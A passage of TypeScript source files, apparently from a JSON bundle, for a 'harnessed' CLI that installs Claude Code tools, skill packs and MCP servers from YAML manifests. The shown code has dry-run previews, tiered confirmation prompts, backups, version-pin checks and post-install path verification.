'/spec/verify/cmd',\n `verify exit ${vr.exitCode}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, ver, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / (c) abort.\n// Default is (c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n if (/\\bnpx\\b/.test(cmd)) return 'L1'\n return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n let level = detectLevel(install.cmd)\n let cmd = install.cmd\n const plan: DiffPlan = { files: [] }\n // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n // not previewable as a unified diff; the cmd echo is the audit trail.\n process.stdout.write(renderDiff(plan, ctx))\n if (level === 'L4')\n process.stdout.write(' (L4 system install — global PATH change; see cmd above)\\n')\n const conf = await confirmAt(level, { ...ctx, level })\n if (!conf.proceed) {\n if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n const choice = await p.select({\n message: 'L4 install requires --system. Choose:',\n options: [\n { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n { value: 'abort', label: 'Abort install' },\n ],\n initialValue: 'abort',\n })\n if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n // 'npx' branch: rebuild cmd + re-confirm at L1\n cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n level = 'L1'\n const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n } else {\n // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n }\n // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n const sp = await spawnCmd(ctx, cmd, [])\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [])\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n 'verify-failed',\n ),\n }\n }\n // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n // T3.1 records empty-string placeholder per state.ts schema.\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy --global):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy --global` is mandatory:\n// - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n// of symlinks (default symlinks break on Windows + on systems with\n// ~/.claude on a different volume than the npx cache)\n// - `--global` writes to ~/.claude/skills/ (user-scope) instead of cwd\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert the required flags are present\n// (preflight) to prevent silent mis-install via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n// - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n// - npm prefix mis-configured\n// - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// Extract `<owner/repo>` from `npx ... skills@<ver> add <owner/repo> ...`.\n// Used to compute the expected SKILL.md path. Falls back to manifest\n// metadata.name when the `add <ref>` token is absent.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n // If owner/repo, take repo (last segment). If single name, use as-is.\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // D2.1-5 — assert pinned `skills@1.5.7` is referenced in the cmd. We require\n // an explicit pin (not @latest) for reproducibility (ADR 0001). Research\n // pinned 1.5.7 (RESEARCH.md § 2); we don't hardcode \"1.5.7\" here because a\n // future minor bump (1.5.8) should be allowed via manifest update. We only\n // enforce shape: skills@<version-spec>, not @latest.\n if (!/\\bskills@(?!latest\\b)\\S+/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must reference a pinned skills@<version> (got: '${install.cmd.slice(0, 100)}'); @latest is forbidden for reproducibility (ADR 0001)`,\n 'skills-pin-required',\n ),\n suggest: 'change `skills@latest` → `skills@1.5.7` (current research-pinned stable)',\n },\n }\n }\n\n // D2.1-5 — assert --copy and --global flags are present. Either order, but\n // both are mandatory (research § 2). Silent omission would result in\n // broken-on-Windows symlinks (no --copy) or cwd-scope skills (no --global).\n if (!/\\B--copy\\b/.test(install.cmd) || !/\\B--global\\b/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must include both \\`--copy\\` and \\`--global\\` flags (D2.1-5)`,\n 'skills-flags-required',\n ),\n suggest:\n '`--copy` materializes files (Windows symlink-safe); `--global` targets ~/.claude/skills/ (user scope)',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan with\n // SKILL.md as the target file under HOME scope. rollback = rm -rf the\n // skill dir.\n const name = ctx.manifest.metadata.name\n const skillSegment = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillSegment)\n const skillMdPath = join(skillDir, 'SKILL.md')\n const plan: DiffPlan = {\n files: [\n {\n target: skillMdPath,\n scope: 'HOME',\n oldText: '',\n newText: `// new SKILL.md created by: ${install.cmd}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // npx invocation (cmd from manifest; B1 re-screened by spawnCmd).\n const sp = await spawnCmd(ctx, install.cmd, [])\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n // Use fs.access (faster, deterministic, cross-OS) instead of spawning `test`.\n try {\n await access(skillMdPath)\n } catch {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: {\n ...err(\n ctx,\n '/spec/verify/cmd',\n `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n 'verify-failed',\n ),\n suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n },\n }\n }\n\n // Optional secondary verify: run the manifest verify.cmd (often a grep\n // check) for parity with other installers and to surface install-specific\n // post-conditions like \"CLAUDE.md was patched\".\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [])\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n// L1: harnessed-local writes only → npx ephemeral\n// L2: per-user (~/.claude/skills/) → git-clone / npx-skill / npm local\n// L3: user-config (~/.claude.json / → cc-plugin-marketplace / mcp-stdio /\n// .mcp.json / hooks) mcp-http\n// L4: system PATH / global binary → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n 'npm-cli': installNpmCli,\n 'mcp-stdio-add': installMcpStdioAdd,\n 'cc-plugin-marketplace': installCcPluginMarketplace,\n 'git-clone-with-setup': installGitCloneWithSetup,\n 'npx-skill-installer': installNpxSkillInstaller,\n 'mcp-http-add': installMcpHttpAdd,\n // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n 'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n const method = manifest.spec.install.method\n switch (method) {\n case 'mcp-stdio-add':\n case 'mcp-http-add':\n case 'cc-plugin-marketplace':\n case 'cc-hook-add':\n // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n // mcp-stdio CC #54803 \"shared user state\" warning).\n return 'L3'\n case 'git-clone-with-setup':\n case 'npx-skill-installer':\n return 'L2'\n case 'npm-cli':\n return 'L4'\n }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n const installer = installers[manifest.spec.install.method]\n return installer({ manifest, opts, level: levelOf(manifest), cwd: process.cwd() })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 contract 1 — dry-run default + double flag):\n// `harnessed install <name>` defaults to dry-run preview; explicit `--apply`\n// or interactive `y/yes` is required to mutate. For automation (CI / scripts),\n// callers MUST pass BOTH `--non-interactive --apply` (or `--non-interactive\n// --dry-run`) — passing only `--apply` in non-TTY contexts is ambiguous, and\n// passing only `--non-interactive` would block on @clack/prompts forever\n// because stdin is not a TTY (Clack does not auto-decline).\n//\n// IMPL NOTE (H1 sister review fix — pre-action flag validation): we validate\n// the flag combination BEFORE invoking the installer. `--non-interactive`\n// without an explicit apply/dry-run choice would otherwise reach\n// confirmAt() / spawnCmd() and deadlock waiting for a prompt response that\n// will never arrive. Failing fast with exit 2 + actionable hint avoids the\n// \"harnessed hangs in CI\" footgun.\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n// 0 → install succeeded (ok: true)\n// 1 → install failed (ok: false; print error.suggest if present)\n// 2 → user-aborted / flag-missing / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n system?: boolean\n nonInteractive?: boolean\n fullDiff?: boolean\n color?: boolean // commander turns --no-color into color: false\n knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n const head = `error: ${e.message}`\n const where = e.path && e.path !== '/' ? `\\n at ${e.path}` : ''\n const tip = e.suggest ? `\\n fix: ${e.suggest}` : ''\n return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n program\n .command('install <name>')\n .description('Install an upstream (dry-run by default — pass --apply to execute)')\n .option('--apply', 'execute the install (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .option('--full-diff', 'expand diffs longer than 200 lines')\n .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n .option(\n '--known-good',\n 'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n )\n .action(async (name: string, raw: RawOpts) => {\n // H1 pre-action flag gate (see file header IMPL NOTE).\n validateNonInteractiveFlags(raw, 'install <name>')\n\n // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n // check is the human-readable deprecation audit surface).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n console.error(` fix: run 'harnessed audit' to inspect manifest issues`)\n process.exit(1)\n }\n\n const opts: InstallOpts = {\n apply: raw.apply === true,\n dryRun: raw.dryRun === true,\n system: raw.system === true,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: raw.fullDiff === true,\n color: raw.color === false ? false : 'auto',\n }\n\n // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n // when flag set per Karpathy YAGNI Discretion lock).\n if (raw.knownGood) {\n const { getPinnedVersion } = await import('../manifest/knownGood.js')\n const harnessedVer = pkg.version\n const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n ;(v.manifest.spec.install as { npm_version?: string }).npm_version = pinned\n }\n }\n\n const result = await runInstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n const version =\n v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n ? v.manifest.spec.install.npm_version\n : ''\n console.log(`installed ${v.manifest.metadata.name}${version ? `@${version}` : ''}`)\n process.exit(0)\n }\n console.error(formatError(result.error))\n process.exit(1)\n })\n}\n","// v1.0.1 T1.1 — Single SoT for package root resolution.\n//\n// IMPL NOTE: Resolves package root via import.meta.url → up two levels from\n// dist/cli.mjs → package root. Bundler-safe: tsup ESM build preserves\n// import.meta.url. Fixes global-install consumers using process.cwd() which\n// points to the user's project dir, not the harnessed package dir.\n\nimport { dirname, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\n/**\n * Returns the absolute path to the harnessed package root directory.\n * Works for both global installs (npm install -g) and local dev (ts-node / vitest).\n */\nexport function getPackageRoot(): string {\n // import.meta.url → file:///.../dist/cli.mjs (or src/cli/lib/packagePath.ts in test)\n // Go up: dist/cli.mjs → dist/ → package root (2 levels)\n // src/cli/lib/packagePath.ts → src/cli/lib/ → src/cli/ → src/ → package root (3 levels in source)\n // We detect which context we're in by checking for the 'dist' segment.\n const thisFile = fileURLToPath(import.meta.url)\n const thisDir = dirname(thisFile)\n // In dist: thisDir = <root>/dist → up 1\n // In src: thisDir = <root>/src/cli/lib → up 3\n if (thisDir.endsWith('dist') || thisDir.replace(/\\\\/g, '/').endsWith('/dist')) {\n return resolve(thisDir, '..')\n }\n // Source / test context — go up 3\n return resolve(thisDir, '..', '..', '..')\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n// `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n// / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n// INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n// exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - H1 gate: --non-interactive 必须配 --apply / --dry-run, 否则 exit 2.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(cwd, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerInstallBase(program: Command): void {\n program\n .command('install-base')\n .description('Install the phase 1.3 base profile (auto-glob manifests; dry-run by default)')\n .option('--apply', 'execute the install (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .action(async (raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install-base')\n const opts: InstallOpts = {\n apply: raw.apply === true,\n dryRun: raw.dryRun === true,\n system: false,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: false,\n color: 'auto',\n }\n const installed: string[] = []\n const skipped: { name: string; reason: string }[] = []\n const failed: { name: string; reason: string }[] = []\n for (const path of await listBaseManifests(getPackageRoot())) {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n continue\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n continue\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) {\n skipped.push({ name, reason: `deferred phase 2.1 (${method})` })\n continue\n }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n else if (r.ok) installed.push(name)\n else failed.push({ name, reason: r.error.message })\n }\n console.log(\n `\\n installed: ${installed.length} / skipped (deferred phase 2.1): ${skipped.length} / failed: ${failed.length}`,\n )\n for (const i of installed) console.log(` installed ${i}`)\n for (const s of skipped) console.log(` skipped ${s.name} — ${s.reason}`)\n for (const f of failed) console.error(` failed ${f.name} — ${f.reason}`)\n if (failed.length > 0) process.exit(1)\n if (installed.length === 0) process.exit(2)\n process.exit(0)\n })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: execute-task.ts + research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n category?: string\n name?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n program\n .command('manifest-add <upstream>')\n .description('Add a new upstream adapter (EE-5 5-question merge gate, D-03 BOTH dry-run/apply)')\n .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n .option('--apply', 'persist EE-5 answers (default: dry-run preview)')\n .option('--dry-run', 'force dry-run (overrides --apply if both set)')\n .option('--non-interactive', 'CI/scripts — requires --apply or --dry-run; WARN-only dry-run')\n .action(async (upstream: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'manifest-add <upstream>')\n const name = raw.name ?? basename(upstream)\n const category = raw.category ?? 'skill-packs'\n const outPath = `manifests/${category}/${name}.ee5-answers.json`\n if (raw.nonInteractive) {\n console.warn(\n '[ee-5-gate] WARN: --non-interactive skips 5-question prompt (D-03 dry-run-only). plan-phase hard reject still applies.',\n )\n console.log(`[manifest-add] dry-run preview for upstream: ${upstream} → ${outPath}`)\n process.exit(0)\n }\n const rl = readline.createInterface({ input: stdin, output: stdout })\n const payload: Record<string, string> = {\n upstream,\n created_at: new Date().toISOString(),\n author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n }\n for (const { q, f } of QA) {\n const a = (await rl.question(`${q}\\n> `)).trim()\n if (!a) {\n console.error('error: EE-5 gate requires non-empty answer')\n rl.close()\n process.exit(1)\n }\n payload[f] = a\n }\n rl.close()\n if (raw.apply) {\n writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n console.log(`[manifest-add] EE-5 gate passed; wrote ${outPath}`)\n } else {\n console.log(`[manifest-add] EE-5 gate passed (dry-run); would write ${outPath}`)\n console.log(JSON.stringify(payload, null, 2))\n }\n process.exit(0)\n })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n// W-2 sister patch (D1.4-4 子决策): install adapter via library call —\n// engine.runRouting → ensureSkillsInstalled (lib/ralphLoop.ts) consumes\n// runInstall() directly when wired through opts.installAdapter (PLAN.md\n// § 4 接口契约 6); we **never** spawn `node ./dist/cli.mjs install` subprocess\n// (overlaps R1 Wave 1 spike + slower + cross-stack debug pain).\n// EngineResult three-state → exit codes:\n// 0 → ok (verbatim COMPLETE round-trip succeeded)\n// 1 → ok:false {phase: arbitrate|install|spawn|verbatim} (typed error)\n// 2 → aborted {reason} (max-iter exceeded / user-aborted)\n// H1 gate (sibling install-base.ts): --non-interactive requires --apply or --dry-run.\n\nimport type { Command } from 'commander'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface 